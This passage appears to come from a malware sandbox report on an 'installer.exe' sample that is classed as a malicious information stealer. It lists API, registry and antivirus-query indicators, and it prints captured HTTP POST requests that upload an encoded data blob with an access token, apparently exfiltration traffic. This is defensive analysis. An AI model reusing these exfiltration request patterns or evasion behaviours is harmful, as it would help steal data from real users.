¸MôE÷t¢í=0)U2Bî©¬_ ½t>¹¯ù>ÇE=ôëßfÅ¤.GR¿xó+Þðp°jké3«ýjÎ~á.<¨¶þ°Äz¢îE¡ÌMÇMÔ$8û«q¹ë(oçù¥Ë[¢}A½ÝWÙ=qHGýr|!jx--eV648Bu5ssyg2y42BF--"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BF"; Source: "00000000-00006960-00000CCC-1610247845") Found string "--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="access_token"--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="type"0--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="file"; filename="data"Content-Type: application"; Source: "00000000-00006960-00000CCC-1610247845") Found string "Content-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BF"; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "Content-Disposition: form-data; name="access_token""; Source: "00000000-00006960.00000000.167303.C99C6000.00000004.mdmp") Found string "Content-Disposition: form-data; name="type""; Source: "00000000-00006960.00000000.167303.C99C6000.00000004.mdmp") Found string "Content-Disposition: form-data; name="file"; filename="data""; Source: "00000000-00006960.00000000.167303.C99C6000.00000004.mdmp")38:T929,Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "-----------------GetDC" (Indicator: "GetDC"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "----------------GetDC" (Indicator: "GetDC"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "----------------GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "------------------------CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "------------------------CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "BitBlt----------" (Indicator: "BitBlt"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "----------------BitBlt" (Indicator: "BitBlt"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp") Found reference to API "----------------GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00006960.00000000.167303.4C580000.00000004.mdmp")39:T410,Found registry query API: "RegOpenKey (in long string)" in file "installer.exe" Found registry query API: "RegEnumValue (in long string)" in file "installer.exe" Found registry query API: "RegQueryValue (in long string)" in file "installer.exe" Found registry query API: "syscall.RegOpenKeyEx" in "00000000-00006960.00000000.167303.968A2000.00000002.mdmp" Found registry query API: "syscall.RegQueryValueEx" in "00000000-00006960.00000000.167303.968A2000.00000002.mdmp" Found registry query API: "syscall.procRegEnumKeyExW" in "00000000-00006960.00000000.167303.968A2000.00000002.mdmp" Found registry query API: "syscall.procRegOpenKeyExW" in "00000000-00006960.00000000.167303.968A2000.00000002.mdmp" Found registry query API: "syscall.procRegQueryValueExW" in "00000000-00006960.00000000.167303.968A2000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp"3a:T638,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "installer.exe") file/memory contains long string with (Indicator: "Module32Next"; File: "installer.exe") file/memory contains long string with (Indicator: "Process32Next"; File: "installer.exe") file/memory contains long string with (Indicator: "Module32First"; File: "installer.exe") file/memory contains long string with (Indicator: "Process32First"; File: "installer.exe") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "installer.exe") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "installer.exe") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "installer.exe") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "installer.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp")3b:Tf50,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "installer.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "installer.exe") file/memory contains long string with (Indicator: "GetTempPath"; File: "installer.exe") file/memory contains long string with (Indicator: "GetFileSize"; File: "installer.exe") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "installer.exe") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "installer.exe") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "installer.exe") file/memory contains long string with (Indicator: "QueryInformationFile"; File: "installer.exe") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "installer.exe") Found reference to API "syscall.GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).GetFileInformationByHandle.deferwrap1" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "os.newFileStatFromGetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "os.useGetTempPath2" (Indicator: "GetTempPath"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procGetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.procGetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.procGetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.procGetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.procNtQueryInformationFile" (Indicator: "QueryInformationFile"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "wGetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006960.00000000.167303.A2B53000.00000002.mdmp")3c:T70c,Found string "SELECT * FROM Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00006960-00002714-1609247627") Found string "SELECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00006960-00002714-1609255371") Found string "SELECT * FROM AntiVirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00006960-00002714-1609280258") Found string "SELECT * FROM AntiVirusProduct0" (Indicator: "antivirusproduct"; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "SELECT * FROM AntiVirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "AntiVirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "FROM ANTIVIRUSPRODUCT" (Indicator: "antivirusproduct"; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "cQuery(SELECT * FROM Win32_OperatingSystem);" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "hWMI.ExecQuery(SELECT * FROM Win32_VideoController);" (Indicator: " Win32_VideoController"; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "^WMI.ExecQuery(SELECT * FROM AntiVirusProduct);" (Indicator: "antivirusproduct"; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "MI.ExecQuery(SELECT * FROM AntiVirusProduct);" (Indicator: "antivirusproduct"; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "xecqueryselect * from win32_videocontroller" (Indicator: " Win32_VideoController"; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp")3d:T4bf,file/memory contains long string with (Indicator: "CopySid"; File: "installer.exe") file/memory contains long string with (Indicator: "IsValidSid"; File: "installer.exe") file/memory contains long string with (Indicator: "GetLengthSid"; File: "installer.exe") file/memory contains long string with (Indicator: "RevertToSelf"; File: "installer.exe") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "installer.exe") file/memory contains long string with (Indicator: "DuplicateToken"; File: "installer.exe") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "installer.exe") file/memory contains long string with (Indicator: "SetEntriesInAcl"; File: "installer.exe") file/memory contains long string with (Indicator: "GetSidSubAuthority"; File: "installer.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "installer.exe") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "installer.exe") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; File: "installer.exe") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; File: "installer.exe")3e:T886,"installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "")3f:T993,"POST /documents HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded Host: github.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 89" with payload::==> "tag=c2a473848f634f5c34856ea3ebd04eb6&exp=1788235659&hwid=c55b6c09d52b1e15af5e9b197c1139d5" HTTP/1.1 405 Not Allowed Date: Tue 08 Sep 2026 14:57:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: keep-alive Server: nginx Allow: GET HEAD with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /documents HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BF Host: github.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 1015" with payload::==> "--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="access_token"--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="type"0--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamI³oæcÔÌ4Ii9k¤½|zUÞ»|ÌCî`t `Èp<ÝPvLsª÷nrpêa·µþF¯À¨û{ÔPbà.còÞã÷¾d»2¤ÖÉk¤ÀHlmÆ8ÍÆ(¡H!\|S9Ïël8ÈÂj§ÑSné&µÉß¾0z¥þJ¿´%Ræð:*ÀI;vnáðÞbr°¼ªöÛN³¨Y}¿ZZ~ëÆm¸#³Jx¼i7ìãõ ÅÙIô)%!J°>dn´ÉFºë`0 Çq\IWÌûÝ¿J'ðe«Ên§,ÊEÓ>íMuÒærÄI"ù0À óÚÌ3 Ö¢ÏG}Ýs<ïzìäÿjc D%Ì ®â+Giÿ¬Mrqòr-3ÂÖ\f°eÏîÇ·ö´Ö·¾[g|1iÈä¾@c0³ØÑ!`mi¤S:â¼áÐ{«fò=#YW¯?ßrÙÆ&Sò6¸áÿè$1S¬&bHÌ_$õËêu.bµQ~éX^ÔÜFÿ²âöÇ.ê®!ÌWóÑc]ênëü2øhº+¡~¨CF6(uÖ)\GoýaR°Ð*;<¨uÕ(§´Ö´ðT³CCÒøïò¶e% ¸MôE÷t¢í=0)U2Bî©¬_ ½t>¹¯ù>ÇE=ôëßfÅ¤.GR¿xó+Þðp°jké3«ýjÎ~á.<¨¶þ°Äz¢îE¡ÌMÇMÔ$8û«q¹ë(oçù¥Ë[¢}A½ÝWÙ=qHGýr|!jx--eV648Bu5ssyg2y42BF--" HTTP/1.1 405 Not Allowed Date: Tue 08 Sep 2026 14:57:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: keep-alive Server: nginx Allow: GET HEAD with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365.......40:T560,"POST /documents HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BF Host: github.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 1015" with payload:==> "--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="access_token"--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="type"0--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamI³oæcÔÌ4Ii9k¤½|zUÞ»|ÌCî`t `Èp<ÝPvLsª÷nrpêa·µþF¯À¨û{ÔPbà.còÞã÷¾d»2¤ÖÉk¤ÀHlmÆ8ÍÆ(¡H!\|S9Ïël8ÈÂj§ÑSné&µÉß¾0z¥þJ¿´%Ræð:*ÀI;vnáðÞbr°¼ªöÛN³¨Y}¿ZZ~ëÆm¸#³Jx¼i7ìãõ ÅÙIô)%!J°>dn´ÉFºë`0 Çq\IWÌûÝ¿J'ðe«Ên§,ÊEÓ>íMuÒærÄI"ù0À óÚÌ3 Ö¢ÏG}Ýs<ïzìäÿjc D%Ì ®â+Giÿ¬Mrqòr-3ÂÖ\f°eÏîÇ·ö´Ö·¾[g|1iÈä¾@c0³ØÑ!`mi¤S:â¼áÐ{«fò=#YW¯?ßrÙÆ&Sò6¸áÿè$1S¬&bHÌ_$õËêu.bµQ~éX^ÔÜFÿ²âöÇ.ê®!ÌWóÑc]ênëü2øhº+¡~¨CF6(uÖ)\GoýaR°Ð*;<¨uÕ(§´Ö´ðT³CCÒøïò¶e% ¸MôE÷t¢í=0)U2Bî©¬_ ½t>¹¯ù>ÇE=ôëßfÅ¤.GR¿xó+Þðp°jké3«ýjÎ~á.<¨¶þ°Äz¢îE¡ÌMÇMÔ$8û«q¹ë(oçù¥Ë[¢}A½ÝWÙ=qHGýr|!jx--eV648Bu5ssyg2y42BF--"1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":87,"unified_at_epoch_ms":1790365172657,"unified_at":"2026-09-25T19:39:32.657Z","metadata":{"hashes":{"sha256":"0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f","sha1":"a8eef4f895067616efa923b072fa0cf98b65b2a5","md5":"9878c275a40bd2d6f63698b36c65890b","sha512":"a493ceefb2b37d568cfb871b393b15cc364f499cd88a8672859bd6ef63b4020e6813990ff62c85174b9274e266b32a8114a9b18d718998cedd4176076d6da1ee","ssdeep":"49152:hZ5Wre+Zk4phU3MJ7CAsGllFvmSD4O//eDP66y8rpxxqn9HsWORudliSFgQ0JA8U:hZ5v+2wZtPpiZps","ssdeep_chunks":["49152:hZ5Wre+","49152:Z5Wre+Z","49152:5Wre+Zk","49152:Wre+Zk4","49152:re+Zk4p","49152:e+Zk4ph","49152:+Zk4phU","49152:Zk4phU3","49152:k4phU3M","49152:4phU3MJ","49152:phU3MJ7","49152:hU3MJ7C","49152:U3MJ7CA","49152:3MJ7CAs","49152:MJ7CAsG","49152:J7CAsGl","49152:7CAsGll","49152:CAsGllF","49152:AsGllFv","49152:sGllFvm","49152:GllFvmS","49152:llFvmSD","49152:lFvmSD4","49152:FvmSD4O","49152:vmSD4O/","49152:mSD4O//","49152:SD4O//e","49152:D4O//eD","49152:4O//eDP","49152:O//eDP6","49152://eDP66","49152:/eDP66y","49152:eDP66y8","49152:DP66y8r","49152:P66y8rp","49152:66y8rpx","49152:6y8rpxx","49152:y8rpxxq","49152:8rpxxqn","49152:rpxxqn9","49152:pxxqn9H","49152:xxqn9Hs","49152:xqn9HsW","49152:qn9HsWO","49152:n9HsWOR","49152:9HsWORu","49152:HsWORud","49152:sWORudl","49152:WORudli","49152:ORudliS","49152:RudliSF","49152:udliSFg","49152:dliSFgQ","49152:liSFgQ0","49152:iSFgQ0J","49152:SFgQ0JA","49152:FgQ0JA8","49152:gQ0JA8U","98304:hZ5Wre+","98304:Z5Wre+Z","98304:5Wre+Zk","98304:Wre+Zk4","98304:re+Zk4p","98304:e+Zk4ph","98304:+Zk4phU","98304:Zk4phU3","98304:k4phU3M","98304:4phU3MJ","98304:phU3MJ7","98304:hU3MJ7C","98304:U3MJ7CA","98304:3MJ7CAs","98304:MJ7CAsG","98304:J7CAsGl","98304:7CAsGll","98304:CAsGllF","98304:AsGllFv","98304:sGllFvm","98304:GllFvmS","98304:llFvmSD","98304:lFvmSD4","98304:FvmSD4O","98304:vmSD4O/","98304:mSD4O//","98304:SD4O//e","98304:D4O//eD","98304:4O//eDP","98304:O//eDP6","98304://eDP66","98304:/eDP66y","98304:eDP66y8","98304:DP66y8r","98304:P66y8rp","98304:66y8rpx","98304:6y8rpxx","98304:y8rpxxq","98304:8rpxxqn","98304:rpxxqn9","98304:pxxqn9H","98304:xxqn9Hs","98304:xqn9HsW","98304:qn9HsWO","98304:n9HsWOR","98304:9HsWORu","98304:HsWORud","98304:sWORudl","98304:WORudli","98304:ORudliS","98304:RudliSF","98304:udliSFg","98304:dliSFgQ","98304:liSFgQ0","98304:iSFgQ0J","98304:SFgQ0JA","98304:FgQ0JA8","98304:gQ0JA8U","49152:hZ5v+2w","49152:Z5v+2wZ","49152:5v+2wZt","49152:v+2wZtP","49152:+2wZtPp","49152:2wZtPpi","49152:wZtPpiZ","49152:ZtPpiZp","49152:tPpiZps"],"imphash":"4e2bd2c481372f7ab13b83b63b424e97"},"file_info":{"file_name":"installer.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":18140960,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1788879382000,"last_seen":1788879382000,"last_multi_scan":1788879382000}},"detections":{"summary":{"verdict":"malicious","score":87,"tags":["remusstealer","commodity","criminal","informationstealer","new_domain","evasive","malicious"]},"stats":{"av":{"malicious_count":4,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":79},"sandbox_signatures":{"informative_count":167,"suspicious_count":16,"malicious_count":6,"total":189},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_70% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of WinGo/GenKryptik.HUMH trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/WinGo.J.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT 